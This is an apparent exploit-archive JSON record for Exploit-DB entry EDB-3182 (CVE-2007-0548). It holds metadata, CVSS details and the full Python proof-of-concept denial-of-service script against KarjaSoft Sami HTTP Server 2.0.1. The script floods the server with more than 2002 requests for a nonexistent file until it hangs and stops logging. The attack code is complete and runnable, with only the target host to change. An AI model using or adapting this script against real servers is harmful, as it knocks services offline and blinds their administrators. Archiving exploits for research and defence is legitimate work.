{"exploit":{"id":"EDB-3182","name":"KarjaSoft Sami HTTP Server 2.0.1 - HTTP 404 Object Not found Denial of Service (DoS)","description":"KarjaSoft Sami HTTP Server 2.0.1 - HTTP 404 Object Not found Denial of Service (DoS)","cves":["CVE-2007-0548"],"author":"shinnai","published":"2007-01-23","platform":"windows","type":"dos","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3182","path":"exploits/windows/dos/3182.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3182.py","vulnerabilities":[{"id":"CVE-2007-0548","state":"PUBLISHED","title":null,"titleSource":null,"description":"KarjaSoft Sami HTTP Server 2.0.1 allows remote attackers to cause a denial of service (daemon hang) via a large number of requests for nonexistent objects.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0548","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0548"},"updatedAt":"2024-08-07T12:19:30.524Z","retrievedAt":"2026-11-26T14:54:05.268Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3182.png?v=2","url":"https://exploitbin.com/exploits/EDB-3182","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3182/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3182/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/env python\nimport socket\n\nprint \"-----------------------------------------------------------------------\"\nprint \"Sami HTTP Server HTTP 404 - Object not found Denial of Service\"\nprint \"url: http://www.karjasoft.com\"\nprint \"author: shinnai\"\nprint \"mail: shinnai[at]autistici[dot]org\"\nprint \"site: http://shinnai.altervista.org\"\nprint \"\"\nprint \"The server is unable to handle more than 2002 requests to nonexistents\"\nprint \"files, pages, folders etc.\"\nprint \"When the number of requests exceed the 2002, it stops to answer,\nstops\"\nprint \"to write to log file and the admin will be unable to kick or ban\nusers.\"\nprint \"The only thing you can do is to kill the process.\"\nprint \"-----------------------------------------------------------------------\"\n\nhost = \"127.0.0.1\"\nport = 80\n\ns = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\ntry:\n   conn = s.connect((\"127.0.0.1\",80))\n   for i in range (0,2004):\n       request =  \"GET /some.txt HTTP/1.0 \\n\\n\"\n       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n       connection.connect((host, port))\n       connection.send(request)\n       print i\nexcept:\n   print \"Unable to connect. exiting.\"\n\n# milw0rm.com [2007-01-23]","sha256":"2eb66366d78fad3381cf3dd8c17ecd41915b8c7befeef5b98cecb0405bbf30d7","bytes":1192,"fetchedAt":"2026-11-26T22:12:07.232Z","encoding":"utf-8 (display only; download retains original bytes)"}